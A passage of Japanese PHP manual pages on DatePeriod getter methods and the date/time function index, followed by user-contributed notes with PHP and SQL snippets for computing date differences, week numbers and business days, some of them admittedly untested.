foreach(new DatePeriod($d1, $i, $d2) as $d) {
    echo $d->format('Y-m-d H:i:s') . "\n";
}
?>

Will output:
2010-11-03 12:39:53

(Another one because I got it wrong at first)
2. For the first form, recurrences really means REcurrences, not occurences.

<?php
$i = new DateInterval('P1D');
$d = new Datetime();
foreach(new DatePeriod($d, $i, 1) as $d) {
    echo $d->format('Y-m-d H:i:s') . "\n";
}
?>

Will output:
2010-11-03 12:41:05
2010-11-04 12:41:05


間隔を取得する

  • ≪ DatePeriod::__construct
  • DatePeriod::getEndDate ≫
  • PHP Manual
  • DatePeriod
  • 間隔を取得する

DatePeriod::getDateInterval

(PHP 5 >= 5.6.5, PHP 7, PHP 8)

DatePeriod::getDateInterval — 間隔を取得する

説明

オブジェクト指向型

public DatePeriod::getDateInterval ( ) : DateInterval

期間に適用される間隔を表す DateInterval object を取得する。

パラメータ

この関数にはパラメータはありません。

返り値

DateInterval object を返す。

例

例1 DatePeriod::getDateInterval() の例

<?php
$period = new DatePeriod('R7/2016-05-16T00:00:00Z/P1D');
$interval = $period->getDateInterval();
echo $interval->format('%d day');
?>

上の例の出力は以下となります。

1 day

参考

  • DatePeriod::getStartDate() - 開始日を取得する
  • DatePeriod::getEndDate() - 終了日を取得する

User Contributed Notes

There are no user contributed notes for this page.


終了日を取得する

  • ≪ DatePeriod::getDateInterval
  • DatePeriod::getRecurrences ≫
  • PHP Manual
  • DatePeriod
  • 終了日を取得する

DatePeriod::getEndDate

(PHP 5 >= 5.6.5, PHP 7, PHP 8)

DatePeriod::getEndDate — 終了日を取得する

説明

オブジェクト指向型

public DatePeriod::getEndDate ( ) : DateTimeInterface|null

期間の終了日を取得する。

パラメータ

この関数にはパラメータはありません。

返り値

DatePeriod が終了日を持たない場合は null を返す。 たとえば、recurrences パラメータや、終了日のない isostr パラメータを用いて初期化されている場合である。

DatePeriod が DateTimeImmutable object を end パラメータに用いて初期化されている場合は DateTimeImmutable object を返す。

それ以外の場合は DateTime object を返す。

例

例1 DatePeriod::getEndDate() の例

<?php
$period = new DatePeriod(
    new DateTime('2016-05-16T00:00:00Z'),
    new DateInterval('P1D'),
    new DateTime('2016-05-20T00:00:00Z')
);
$start = $period->getEndDate();
echo $start->format(DateTime::ISO8601);
?>

上の例の出力は以下となります。

2016-05-20T00:00:00+0000

例2 終了日のない DatePeriod::getEndDate()

<?php
$period = new DatePeriod(
    new DateTime('2016-05-16T00:00:00Z'),
    new DateInterval('P1D'),
    7
);
var_dump($period->getEndDate());
?>

上の例の出力は以下となります。

NULL

参考

  • DatePeriod::getStartDate() - 開始日を取得する
  • DatePeriod::getDateInterval() - 間隔を取得する

User Contributed Notes

mauro dot chojrin at leewayweb dot com 21-Jul-2017 08:04
Why can't I ask for end date on a period based on recurrences?

I understand I never specified such a property, but it's a really easy calculation... shouldn't it be built in?


繰り返しの数を取得する

  • ≪ DatePeriod::getEndDate
  • DatePeriod::getStartDate ≫
  • PHP Manual
  • DatePeriod
  • 繰り返しの数を取得する

DatePeriod::getRecurrences

(PHP 7 >= 7.2.17/7.3.4, PHP 8)

DatePeriod::getRecurrences — 繰り返しの数を取得する

説明

オブジェクト指向型

public DatePeriod::getRecurrences ( ) : int|null

繰り返しの数を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

繰り返しの数を返します。

参考

  • DatePeriod::$recurrences

User Contributed Notes

There are no user contributed notes for this page.


開始日を取得する

  • ≪ DatePeriod::getRecurrences
  • 日付・時刻 関数 ≫
  • PHP Manual
  • DatePeriod
  • 開始日を取得する

DatePeriod::getStartDate

(PHP 5 >= 5.6.5, PHP 7, PHP 8)

DatePeriod::getStartDate — 開始日を取得する

説明

オブジェクト指向型

public DatePeriod::getStartDate ( ) : DateTimeInterface

期間の開始日を取得する。

パラメータ

この関数にはパラメータはありません。

返り値

DatePeriod が DateTimeImmutable object を start パラメータに用いて初期化されている場合は DateTimeImmutable object を返す。

それ例外の場合は DateTime object を返す。

例

例1 DatePeriod::getStartDate() の例

<?php
$period = new DatePeriod('R7/2016-05-16T00:00:00Z/P1D');
$start = $period->getStartDate();
echo $start->format(DateTime::ISO8601);
?>

上の例の出力は以下となります。

2016-05-16T00:00:00+0000

参考

  • DatePeriod::getEndDate() - 終了日を取得する
  • DatePeriod::getDateInterval() - 間隔を取得する

User Contributed Notes

There are no user contributed notes for this page.


日付・時刻 関数

目次

  • checkdate — グレゴリオ暦の日付/時刻の妥当性を確認します
  • date_add — DateTime::add のエイリアス
  • date_create_from_format — DateTime::createFromFormat のエイリアス
  • date_create_immutable_from_format — DateTimeImmutable::createFromFormat のエイリアス
  • date_create_immutable — DateTimeImmutable::__construct のエイリアス
  • date_create — DateTime::__construct のエイリアス
  • date_date_set — DateTime::setDate のエイリアス
  • date_default_timezone_get — スクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを取得する
  • date_default_timezone_set — スクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを設定する
  • date_diff — DateTime::diff のエイリアス
  • date_format — DateTime::format のエイリアス
  • date_get_last_errors — DateTime::getLastErrors のエイリアス
  • date_interval_create_from_date_string — DateInterval::createFromDateString のエイリアス
  • date_interval_format — DateInterval::format のエイリアス
  • date_isodate_set — DateTime::setISODate のエイリアス
  • date_modify — DateTime::modify のエイリアス
  • date_offset_get — DateTime::getOffset のエイリアス
  • date_parse_from_format — 指定した書式でフォーマットされた日付についての情報を取得する
  • date_parse — 指定した日付/時刻の詳細な情報を連想配列で返す
  • date_sub — DateTime::sub のエイリアス
  • date_sun_info — 日の出/日の入り時刻と薄明かり (twilight) の開始/終了時刻の情報を含む配列を返す
  • date_sunrise — 指定した日付と場所についての日の出時刻を返す
  • date_sunset — 指定した日付と場所についての日の入り時刻を返す
  • date_time_set — DateTime::setTime のエイリアス
  • date_timestamp_get — DateTime::getTimestamp のエイリアス
  • date_timestamp_set — DateTime::setTimestamp のエイリアス
  • date_timezone_get — DateTime::getTimezone のエイリアス
  • date_timezone_set — DateTime::setTimezone のエイリアス
  • date — ローカルの日付/時刻を書式化する
  • getdate — 日付/時刻情報を取得する
  • gettimeofday — 現在の時間を得る
  • gmdate — GMT/UTC の日付/時刻を書式化する
  • gmmktime — GMT 日付から Unix タイムスタンプを取得する
  • gmstrftime — ロケールの設定に基づいて GMT/UTC 時刻/日付をフォーマットする
  • idate — ローカルな時刻/日付を整数として整形する
  • localtime — ローカルタイムを得る
  • microtime — 現在の Unix タイムスタンプをマイクロ秒まで返す
  • mktime — 日付を Unix のタイムスタンプとして取得する
  • strftime — ロケールの設定に基づいてローカルな日付・時間をフォーマットする
  • strptime — strftime が生成した日付/時刻をパースする
  • strtotime — 英文形式の日付を Unix タイムスタンプに変換する
  • time — 現在の Unix タイムスタンプを返す
  • timezone_abbreviations_list — DateTimeZone::listAbbreviations のエイリアス
  • timezone_identifiers_list — DateTimeZone::listIdentifiers のエイリアス
  • timezone_location_get — DateTimeZone::getLocation のエイリアス
  • timezone_name_from_abbr — 略称からタイムゾーン名を返す
  • timezone_name_get — DateTimeZone::getName のエイリアス
  • timezone_offset_get — DateTimeZone::getOffset のエイリアス
  • timezone_open — DateTimeZone::__construct のエイリアス
  • timezone_transitions_get — DateTimeZone::getTransitions のエイリアス
  • timezone_version_get — timezonedb のバージョンを取得する

User Contributed Notes

paez903 at hotmail dot com 24-Jul-2017 05:16
I do not have much programming in php and I hope I can help those that I want to do is that when entering in the form the date 1 and the date2 I calculate if between those two dates if they have passed 5 or more years and I add 3 more days taking As reference date 2, I do not know if I understand.

To see a theoretical example date = 10/01/2012 date2 = 23/07/2017

Between these two dates have passed 5 years, 6 months, and 13 days elapsed

Knowing this my serious conditional

If they are equal or more than 5 years but less than 10 years will be added 3 days
If they are equal or more than 10 years but less than 15 years will be added 6 days
If they are equal or more than 15 years but less than 20 years will be added 9 days
If they are equal to or more than 20 years will be added 12 days

Then having the conditionals

For this example would be case as it is greater than 5 years the result that I should show taking in days like date of departure the date2 = 23/07/2017 and to this date it is added 30 days that would be a constant and depending on the years like Is the example happens 5 years would be: date2 = 23/07/2017 + 30 days = 08/30/2017 + 3 days
= End date to show = result = 02/09/2017.

But I still think how to do it if you can guide me I would appreciate a world, and everything should show without pressing buttons, if I press a button would be like to store in the database only the results otenidos as date1 date2 and result

<? Php

// $ date1 = $ _ POST ["date1"]; // this will be the first date or date of entry
// $ date2 = $ _ POST ["date2"]; // this will be the date with which you will calculate

// $ difference = $ date2 - $ date1;

// if ($ difference <= 5)
{
    // echo "number of days that correspond to it [". $ Date2 + 30 + 3. "].";

//} else {

// ($ difference <= 5)

{
// echo "number of days corresponding to it [" $ date2 + 30 "].";

}
Hans 15-Aug-2011 12:19
I needed a way to display an announcement on a shopping site, that would warn users that orders placed between a certain date range, would not be shipped until after a certain date.

I created this simple date detection code to display the notice on certain pages. You can just copy the code and save it to a file on the site and include it anywhere you need to perform a function, or display a notice.

<?php
/*
    Code to show a message only for a certain time frame.
    This is a simple include file that can be used to display a message
    on any pages that use it.
    Simply us a standard include instruction to this file on the page/s where
    you want the notice to appear.
    Written by Hans Kiesouw - hans at wotworx dot com
*/

$start = new DateTime('30-07-2011'); // DD-MM-YYYY
$endDate= new DateTime('07-08-2011'); // DD-MM-YYYY
$curdate = new DateTime(date('d-m-Y'));

if ($start <= $curdate && $curdate <= $endDate) {
    /*
    The message below will appear if the current date is between the start and
    endDate - used standards HTML to ensure that any code will not be
    escaped by PHP. You can use any code here to wish to execute for the
    date range.
    */
    ?>

    <p><strong><font color="#FF0000">Please Note: Any orders placed between July 30th and August 7th will only be shipped on August 8th. We apologize for any inconvenience and thank you for your order.</font></strong></p>
 <?php
 // don't forget this last bit, it ends the if statement!
}

?>
luck dot lil dot leprechaun at gmail dot com 19-May-2009 03:53
This is an easily extendable and pretty way to output human-readable date differences such as "1 day 2 hours ago", "6 months ago", "3 years 7 months 14 days 1 hour 4 minutes 16 seconds" etc etc.
Change "$levels = 2;" to whatever you want. A value of 1 will limit to only one number in the result ("3 days ago"). A value of 3 would result in up to three ("3 days 1 hour 2 minutes ago")

It can be used in the following ways:
echo compare_dates($start_date,$end_date);
echo compare_dates($end_date,$start_date);
echo compare_dates($start_date); //end date will be assumed as time();

<?php
function compare_dates($date1, $date2 = time())
    {
    $blocks = array(
        array('name'=>'year','amount'    =>    60*60*24*365    ),
        array('name'=>'month','amount'    =>    60*60*24*31    ),
        array('name'=>'week','amount'    =>    60*60*24*7    ),
        array('name'=>'day','amount'    =>    60*60*24    ),
        array('name'=>'hour','amount'    =>    60*60        ),
        array('name'=>'minute','amount'    =>    60        ),
        array('name'=>'second','amount'    =>    1        )
        );

    $diff = abs($date1-$date2);

    $levels = 2;
    $current_level = 1;
    $result = array();
    foreach($blocks as $block)
        {
        if ($current_level > $levels) {break;}
        if ($diff/$block['amount'] >= 1)
            {
            $amount = floor($diff/$block['amount']);
            if ($amount>1) {$plural='s';} else {$plural='';}
            $result[] = $amount.' '.$block['name'].$plural;
            $diff -= $amount*$block['amount'];
            $current_level++;
            }
        }
    return implode(' ',$result).' ago';
    }
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by (jorge AT dontspam DOT com) on 22-OCT-2009.]
Robb_Bean at gmx dot nospam dot net 18-Mar-2008 03:47
With PHP 5.1 and 5.2 the languages datetime support has changed. Although these functions should guess your local timezone settings, they may fail if using a default configuration in a "pre-5.1 way", which means setting no timezone for PHP. In the case PHP could not get a timezone it emits a E_STRICT warning. Note that this affects _all_ datetime functions and keep it in mind when porting software from previous versions to 5.1 or later! It may also confuse your error handling (this is the way I noticed that things have changed, since these changes are not documentated _here_).

References:

http://www.php.net/manual/de/migration51.datetime.php
http://www.php.net/manual/de/migration52.datetime.php
sagar 28-Feb-2008 08:53
<?php
####################################
# Provide week number and get start_timestamp and end_timestamp
#####################################

// this week number will come from the timeshare form
 $week = 51;

$times = get_start_and_end_date_from_week($week);
$start_time = $times['start_timestamp'];
$end_time = $times['end_timestamp'];

function get_start_and_end_date_from_week ($w)
{
    $y = date("Y", time());
    $o = 6; // week starts from sunday by default

    $days = ($w - 1) * 7 + $o;

    $firstdayofyear = getdate(mktime(0,0,0,1,1,$y));
    if ($firstdayofyear["wday"] == 0) $firstdayofyear["wday"] += 7;
    # in getdate, Sunday is 0 instead of 7
    $firstmonday = getdate(mktime(0,0,0,1,1-$firstdayofyear["wday"]+1,$y));
    $calcdate = getdate(mktime(0,0,0,$firstmonday["mon"], $firstmonday["mday"]+$days,$firstmonday["year"]));

    $sday = $calcdate["mday"];
    $smonth = $calcdate["mon"];
    $syear = $calcdate["year"];

    $timestamp['start_timestamp'] =  mktime(0, 0, 0, $smonth, $sday, $syear);
    $timestamp['end_timestamp'] =  $timestamp['start_timestamp'] + (60*60*24*7);

    return $timestamp;

}    # function datefromweek
?>
stoicnluv at gmail dot com 05-Nov-2007 03:14
A better and accurate function to calculate the difference between 2 dates. Takes leap years and DST into consideration. Accepts string date or timestamp as arguments.

<?php
function date_diff($d1, $d2){
    $d1 = (is_string($d1) ? strtotime($d1) : $d1);
    $d2 = (is_string($d2) ? strtotime($d2) : $d2);

    $diff_secs = abs($d1 - $d2);
    $base_year = min(date("Y", $d1), date("Y", $d2));

    $diff = mktime(0, 0, $diff_secs, 1, 1, $base_year);
    return array(
        "years" => date("Y", $diff) - $base_year,
        "months_total" => (date("Y", $diff) - $base_year) * 12 + date("n", $diff) - 1,
        "months" => date("n", $diff) - 1,
        "days_total" => floor($diff_secs / (3600 * 24)),
        "days" => date("j", $diff) - 1,
        "hours_total" => floor($diff_secs / 3600),
        "hours" => date("G", $diff),
        "minutes_total" => floor($diff_secs / 60),
        "minutes" => (int) date("i", $diff),
        "seconds_total" => $diff_secs,
        "seconds" => (int) date("s", $diff)
    );
}

$a = date_diff("2006-11-01", "2007-11-01");

echo "<pre>";
print_r($a);
echo "</pre>";
?>

This example will output (if your timezone uses US DST):

Array
(
    [years] => 0
    [months_total] => 11
    [months] => 11
    [days_total] => 364
    [days] => 30
    [hours_total] => 8759
    [hours] => 23
    [minutes_total] => 525540
    [minutes] => 0
    [seconds_total] => 31532400
    [seconds] => 0
)

As you can see, the result is not exactly 1 year (less 1 hour) since Nov 1, 2006 is not DST while Nov 1, 2007 is DST.
venoel at rin dot ru 26-Oct-2007 03:33
May be useful for somebody. This function takes on daylight saving time

<?php
Function DateDiff($date1,$date2) {
  $timedifference=$date2-$date1;
  $corr=date("I",$date2)-date("I",$date1);
  $timedifference+=$corr;
  return $timedifference;
}
?>

Example:

<?php
$d1=mktime(2,0,0,10,28,2007);
$d2=mktime(4,0,0,10,28,2007);
$period=DateDiff($d1,$d2);
printf("<br>%s",date("I d.m.Y H:i",$d1));
printf("<br>%u hour",$period/3600);
printf("<br>%s",date("I d.m.Y H:i",$d2));
?>

Getting 2 hour instead 3.
koch.ro 17-Oct-2007 12:42
Not really elegant, but tells you, if your installed timezonedb is the most recent:

<?php
class TestDateTimeTimezonedbVersion extends PHPUnit_Framework_TestCase
{
    public function testTimezonedbIsMostRecent()
    {
        ini_set( 'date.timezone', 'Europe/Berlin' );
        ob_start();
        phpinfo(INFO_MODULES);
        $info = ob_get_contents();
        ob_end_clean();
        $start = strpos( $info, 'Timezone Database Version' ) + 29;

        $this->assertTrue( FALSE !== $start, 'Seems there is no timezone DB installed' );

        $end   = strpos( $info, "\n", $start );
        $installedVersion = substr( $info, $start, $end - $start );

        exec( 'pecl remote-info timezonedb', &$output );
        $availableVersion = substr( $output[2], 12 );

        $this->assertEquals( $availableVersion, $installedVersion,
        'The installed timezonedb is not actual. Installed: '.$installedVersion
        .' available: '.$availableVersion
        );
    }
}
?>
aquatakat at telus dot net 24-Sep-2007 01:25
I wrote a simple script to format a duration in seconds. Give the function some value in seconds and it will return an array.

<?php

function format_duration($seconds) {

    $periods = array(
        'centuries' => 3155692600,
        'decades' => 315569260,
        'years' => 31556926,
        'months' => 2629743,
        'weeks' => 604800,
        'days' => 86400,
        'hours' => 3600,
        'minutes' => 60,
        'seconds' => 1
    );

    $durations = array();

    foreach ($periods as $period => $seconds_in_period) {
        if ($seconds >= $seconds_in_period) {
            $durations[$period] = floor($seconds / $seconds_in_period);
            $seconds -= $durations[$period] * $seconds_in_period;
        }
    }

    return $durations;

}

echo format_duration(864);

/*
[minutes] => 14
[seconds] => 24
*/

echo format_duration(3600);

/*
[hours] => 1
*/

echo format_duration(11111111);

/*
[months] => 4
[days] => 6
[hours] => 20
[minutes] => 28
[seconds] => 59
*/

?>
Darren Edwards 06-Sep-2007 08:54
I was looking for a solution where I could return the number of days, hours, Minutes and seconds between two entries in a table.
DATE_DIFF is not running on my mysql server as my provider uses mysql version 4.0.25
Solution was to use to days and std time functions to calculate the difference in one call.
The fields stored in the table(report_table) are
time(00:00:00),
date(0000-00-00) and record(enum) which tells the app the type of log stored. EG start or end of a report.

SELECT
(TO_DAYS( `end`.`date` ) - TO_DAYS( `start`.`date` ))
-
( second( `end`.`time` ) + (minute( `end`.`time` )*60) + (hour( `end`.`time` )*3600)
<
 second( `start`.`time` ) + (minute( `start`.`time` )*60) + (hour( `start`.`time` )*3600))
AS `days` ,
SEC_TO_TIME(
(second( `end`.`time` ) + (minute( `end`.`time` )*60) + (hour( `end`.`time` )*3600) )
-
(second( `start`.`time` ) + (minute( `start`.`time` )*60) + (hour( `start`.`time` )*3600) )
 ) AS `hms`,
`start`.`time` as `start`,
`end`.`time`  as `end`

FROM `report_table` AS `start` , `report_table` AS `end`
AND `start`.`record` = 'Report Begin'
AND `end`.`record` = 'Report End'
LIMIT 1

If there is no end of report then it will not return a result, as you would expect.
Leopoldo A dot Oducado (poducado at comfsm dot fm) 15-Feb-2007 07:50
Here is my function to count the number days, weeks, months, and year. I tried it below 1970 and it works.

<?php
function datecal($date,$return_value)
{
$date = explode("/", $date);
$month_begin = $date[0];
$month_begin_date = $date[1];
$year1 = $date[2];
$month_end = date("n");
$month_end_date = date("j");
$year2 = date("Y");
$days_old = 0;
$years_old = 0;
$months_old = 0;
if($month_begin==12)
{
  $month = 1;
  $year = $year1+1;
}
else
{
  $month = $month_begin+1;
  $year = $year1;
}
$begin_plus_days = cal_days_in_month(CAL_GREGORIAN, $month_begin, $year1) - $month_begin_date;
$end_minus_days = cal_days_in_month(CAL_GREGORIAN, $month_end, $year2) - $month_end_date;
while ($year <= $year2)
{
     if($year == $year2)
    {
      $days_old = $days_old + cal_days_in_month(CAL_GREGORIAN, $month, $year);
      if($month < $month_end)
        {
         $months_old = $months_old + 1;
         $month = $month + 1;
        }
          elseif ($month==$month_end and $month_end_date >= $month_begin_date)
            {
         $year = $year2+1;
        }
      else
        {
         $year = $year2+1;
        }
    }
    else
    {
     $days_old = $days_old + cal_days_in_month(CAL_GREGORIAN, $month, $year);
         if ($month <= 11)
            {
         $month = $month + 1;
         $months_old = $months_old + 1;
            }
         else
            {
         $month = 1;
         $year = $year + 1;
         $months_old = $months_old + 1;
            }
    }
}
$days_old = ($days_old + $begin_plus_days) - $end_minus_days;
if($return_value == "d")
  { return $days_old; }
elseif ($return_value == "w")
  { return intval($days_old/7); }
elseif ($return_value == "m")
  { return $months_old; }
elseif ($return_value == "y")
  { return intval($months_old/12); }
}

echo datecal("08/13/1975","m");
?>
bgold at matrix-consultants dot com 16-Jan-2007 05:08
When debugging code that stores date/time values in a database, you may find yourself wanting to know the date/time that corresponds to a given unix timestamp, or the timestamp for a given date & time.

The following script will do the conversion either way.  If you give it a numeric timestamp, it will display the corresponding date and time.  If you give it a date and time (in almost any standard format), it will display the timestamp.

All conversions are done for your locale/time zone.

<?php
        while (true)
        {
                // Read a line from standard in.
                echo "enter time to convert: ";
                $inline = fgets(STDIN);
                $inline = trim($inline);
                if ($inline == "" || $inline == ".")
                        break;

                // See if the line is a date.
                $pos = strpos($inline, "/");
                if ($pos === false) {
                        // not a date, should be an integer.
                        $date = date("m/d/Y G:i:s", $inline);
                        echo "int2date: $inline -> $date\n";
                } else {
                        $itime = strtotime($inline);
                        echo "date2int: $inline -> $itime\n";
                }
        }
?>
andreencinas at yahoo dot com dot br 28-Sep-2005 05:08
<?php
       //function like dateDiff Microsoft
       //not error in year Bissesto

       function dateDiff($interval,$dateTimeBegin,$dateTimeEnd) {
         //Parse about any English textual datetime
         //$dateTimeBegin, $dateTimeEnd

         $dateTimeBegin=strtotime($dateTimeBegin);
         if($dateTimeBegin === -1) {
           return("..begin date Invalid");
         }

         $dateTimeEnd=strtotime($dateTimeEnd);
         if($dateTimeEnd === -1) {
           return("..end date Invalid");
         }

         $dif=$dateTimeEnd - $dateTimeBegin;

         switch($interval) {
           case "s"://seconds
               return($dif);

           case "n"://minutes
               return(floor($dif/60)); //60s=1m

           case "h"://hours
               return(floor($dif/3600)); //3600s=1h

           case "d"://days
               return(floor($dif/86400)); //86400s=1d

           case "ww"://Week
               return(floor($dif/604800)); //604800s=1week=1semana

           case "m": //similar result "m" dateDiff Microsoft
               $monthBegin=(date("Y",$dateTimeBegin)*12)+
                 date("n",$dateTimeBegin);
               $monthEnd=(date("Y",$dateTimeEnd)*12)+
                 date("n",$dateTimeEnd);
               $monthDiff=$monthEnd-$monthBegin;
               return($monthDiff);

           case "yyyy": //similar result "yyyy" dateDiff Microsoft
               return(date("Y",$dateTimeEnd) - date("Y",$dateTimeBegin));

           default:
               return(floor($dif/86400)); //86400s=1d
         }

       }
?>
glashio at xs4all dot nl 27-Sep-2005 12:46
Calculate Sum BusinessDays (Mon till Fri) between two date's :

<?php
function businessdays($begin, $end) {
    $rbegin = is_string($begin) ? strtotime(strval($begin)) : $begin;
    $rend = is_string($end) ? strtotime(strval($end)) : $end;
    if ($rbegin < 0 || $rend < 0)
        return 0;

    $begin = workday($rbegin, TRUE);
    $end = workday($rend, FALSE);

    if ($end < $begin) {
        $end = $begin;
        $begin = $end;
    }

    $difftime = $end - $begin;
    $diffdays = floor($difftime / (24 * 60 * 60)) + 1;

    if ($diffdays < 7) {
        $abegin = getdate($rbegin);
        $aend = getdate($rend);
        if ($diffdays == 1 && ($astart['wday'] == 0 || $astart['wday'] == 6) && ($aend['wday'] == 0 || $aend['wday'] == 6))
            return 0;
        $abegin = getdate($begin);
        $aend = getdate($end);
        $weekends = ($aend['wday'] < $abegin['wday']) ? 1 : 0;
    } else
        $weekends = floor($diffdays / 7);
    return $diffdays - ($weekends * 2);
}

function workday($date, $begindate = TRUE) {
    $adate = getdate($date);
    $day = 24 * 60 * 60;
    if ($adate['wday'] == 0) // Sunday
        $date += $begindate ? $day : -($day * 2);
    elseif ($adate['wday'] == 6) // Saterday
        $date += $begindate ? $day * 2 : -$day;
    return $date;
}
?>
daniel at globalnetstudios dot com 08-Jun-2005 11:49
This dateDiff() function can take in just about any timestamp, including UNIX timestamps and anything that is accepted by strtotime(). It returns an array with the ability to split the result a couple different ways. I built this function to suffice any datediff needs I had. Hope it helps others too.

<?php
  /********* dateDiff() function **********
   * returns Array of Int values for difference between two dates
   * $date1 > $date2 --> positive integers are returned
   * $date1 < $date2 --> negative integers are returned
   *
   * $split recognizes the following:
   *   'yw' = splits up years, weeks and days (default)
   *   'y'  = splits up years and days
   *   'w'  = splits up weeks and days
   *   'd'  = total days
   *
   * examples:
   *   $dif1 = dateDiff() or dateDiff('yw')
   *   $dif2 = dateDiff('y')
   *   $dif3 = dateDiff('w')
   *   $dif4 = dateDiff('d')
   *
   * assuming dateDiff returned 853 days, the above
   * examples would have a print_r output of:
   *   $dif1 == Array( [y] => 2 [w] => 17 [d] => 4 )
   *   $dif2 == Array( [y] => 2 [d] => 123 )
   *   $dif3 == Array( [w] => 121 [d] => 6 )
   *   $dif4 == Array( [d] => 847 )
   *
   * note: [h] (hours), [m] (minutes), [s] (seconds) are always returned as elements of the Array
   */
  function dateDiff($dt1, $dt2, $split='yw') {
    $date1 = (strtotime($dt1) != -1) ? strtotime($dt1) : $dt1;
    $date2 = (strtotime($dt2) != -1) ? strtotime($dt2) : $dt2;
    $dtDiff = $date1 - $date2;
    $totalDays = intval($dtDiff/(24*60*60));
    $totalSecs = $dtDiff-($totalDays*24*60*60);
    $dif['h'] = $h = intval($totalSecs/(60*60));
    $dif['m'] = $m = intval(($totalSecs-($h*60*60))/60);
    $dif['s'] = $totalSecs-($h*60*60)-($m*60);
    // set up array as necessary
    switch($split) {
    case 'yw': # split years-weeks-days
      $dif['y'] = $y = intval($totalDays/365);
      $dif['w'] = $w = intval(($totalDays-($y*365))/7);
      $dif['d'] = $totalDays-($y*365)-($w*7);
      break;
    case 'y': # split years-days
      $dif['y'] = $y = intval($totalDays/365);
      $dif['d'] = $totalDays-($y*365);
      break;
    case 'w': # split weeks-days
      $dif['w'] = $w = intval($totalDays/7);
      $dif['d'] = $totalDays-($w*7);
      break;
    case 'd': # don't split -- total days
      $dif['d'] = $totalDays;
      break;
    default:
      die("Error in dateDiff(). Unrecognized \$split parameter. Valid values are 'yw', 'y', 'w', 'd'. Default is 'yw'.");
    }
    return $dif;
  }
?>
mail at completeideas dot com 06-Jun-2005 01:55
For those who are using pre MYSQL 4.1.1, you can use:

TO_DAYS([Date Value 1])-TO_DAYS([Date Value 2])

For the same result as:

DATEDIFF([Date Value 1],[Date Value 2])
mincklerstraat at softhome dot net 11-Oct-2004 01:43
Before you get too advanced using date functions, be sure also to see the calendar functions at http://www.php.net/manual/en/ref.calendar.php .
nickaubert at america's biggest isp dot com 12-Apr-2004 01:13
I ran into an issue using a function that loops through an array of dates where the keys to the array are the Unix timestamp for midnight for each date.  The loop starts at the first timestamp, then incremented by adding 86400 seconds (ie. 60 x 60 x 24).  However, Daylight Saving Time threw off the accuracy of this loop, since certain days have a duration other than 86400 seconds.  I worked around it by adding a couple of lines to force the timestamp to midnight at each interval.

<?php
  $ONE_DAY = 90000;   // can't use 86400 because some days have one hour more or less
  for ( $each_timestamp = $start_time ; $each_timestamp <= $end_time ; $each_timestamp +=  $ONE_DAY) {

    /*  force midnight to compensate for daylight saving time  */
    $this_timestamp_array = getdate( $each_timestamp );
    $each_timestamp = mktime ( 0 , 0 , 0 , $this_timestamp_array[mon] , $this_timestamp_array[mday] , $this_timestamp_array[year] );

     // do some stuff...
  }
?>
php at sarge dot ch 28-Jan-2004 04:58
Additional thisone here (didn't test it yet but should work :D):

<?php
/**
 * Calculates the Difference between two timestamps
 *
 * @param integer $start_timestamp
 * @param integer $end_timestamp
 * @param integer $unit (default 0)
 * @return string
 * @access public
 */
function dateDifference($start_timestamp,$end_timestamp,$unit= 0){
  $days_seconds_star= (23 * 56 * 60) + 4.091; // Star Day
  $days_seconds_sun= 24 * 60 * 60; // Sun Day
  $difference_seconds= $end_timestamp - $start_timestamp;
  switch($unit){
    case 3: // Days
      $difference_days= round(($difference_seconds / $days_seconds_sun),2);
      return 'approx. '.$difference_hours.' Days';
    case 2: // Hours
      $difference_hours= round(($difference_seconds / 3600),2);
      return 'approx. '.$difference_hours.' Hours';
    break;
    case 1: // Minutes
      $difference_minutes= round(($difference_seconds / 60),2);
      return 'approx. '.$difference_minutes.' Minutes';
    break;
    default: // Seconds
      if($difference_seconds > 1){
        return $difference_seconds.' Seconds';
      }
      else{
        return $difference_seconds.' Second';
      }
  }
}
?>
php at elmegil dot net 20-Dec-2003 10:40
A much easier way to do days diff is to use Julian Days from the Calendar functions:

$start = gregoriantojd($smon, $sday, $syear);
$end = gregoriantojd($emon, $eday, $eyear);
$daysdiff = $end - $start;

You can see the obvious ways to wrap a function around that.
garyc at earthling dot net 18-Mar-2003 08:08
I needed to calculate the week number from a given date and vice versa, where the week starts with a Monday and the first week of a year may begin the year before, if the year begins in the middle of the week (Tue-Sun). This is the way weekly magazines calculate their issue numbers.

Here are two functions that do exactly that:

Hope somebody finds this useful.

Gary

<?php
/*  w e e k n u m b e r  -------------------------------------- //
weeknumber returns a week number from a given date (>1970, <2030)
Wed, 2003-01-01 is in week 1
Mon, 2003-01-06 is in week 2
Wed, 2003-12-31 is in week 53, next years first week
Be careful, there are years with 53 weeks.
// ------------------------------------------------------------ */

function weeknumber ($y, $m, $d) {
    $wn = strftime("%W",mktime(0,0,0,$m,$d,$y));
    $wn += 0; # wn might be a string value
    $firstdayofyear = getdate(mktime(0,0,0,1,1,$y));
    if ($firstdayofyear["wday"] != 1)    # if 1/1 is not a Monday, add 1
        $wn += 1;
    return ($wn);
}    # function weeknumber

/*  d a t e f r o m w e e k  ---------------------------------- //
From a weeknumber, calculates the corresponding date
Input: Year, weeknumber and day offset
Output: Exact date in an associative (named) array
2003, 12, 0: 2003-03-17 (a Monday)
1995,  53, 2: 1995-12-xx
...
// ------------------------------------------------------------ */

function datefromweek ($y, $w, $o) {

    $days = ($w - 1) * 7 + $o;

    $firstdayofyear = getdate(mktime(0,0,0,1,1,$y));
    if ($firstdayofyear["wday"] == 0) $firstdayofyear["wday"] += 7;
# in getdate, Sunday is 0 instead of 7
    $firstmonday = getdate(mktime(0,0,0,1,1-$firstdayofyear["wday"]+1,$y));
    $calcdate = getdate(mktime(0,0,0,$firstmonday["mon"], $firstmonday["mday"]+$days,$firstmonday["year"]));

    $date["year"] = $calcdate["year"];
    $date["month"] = $calcdate["mon"];
    $date["day"] = $calcdate["mday"];

    return ($date);

}    # function datefromweek
?>
brighn (a) yahoo (.) com 02-Jan-2003 09:46
I needed a function that determined the last Sunday of the month. Since it's made for the website's "next meeting" announcement, it goes based on the system clock; also, if today is between Sunday and the end of the month, it figures out the last Sunday of *next* month. lastsunday() takes no arguments and returns the date as a string in the form "January 26, 2003". I could probably have streamlined this quite a bit, but at least it's transparent code. =)

<?php
  /* The two functions calculate when the next meeting will
     be, based on the assumption that the meeting will be on
     the last Sunday of the month. */

  function getlast($mon, $year) {
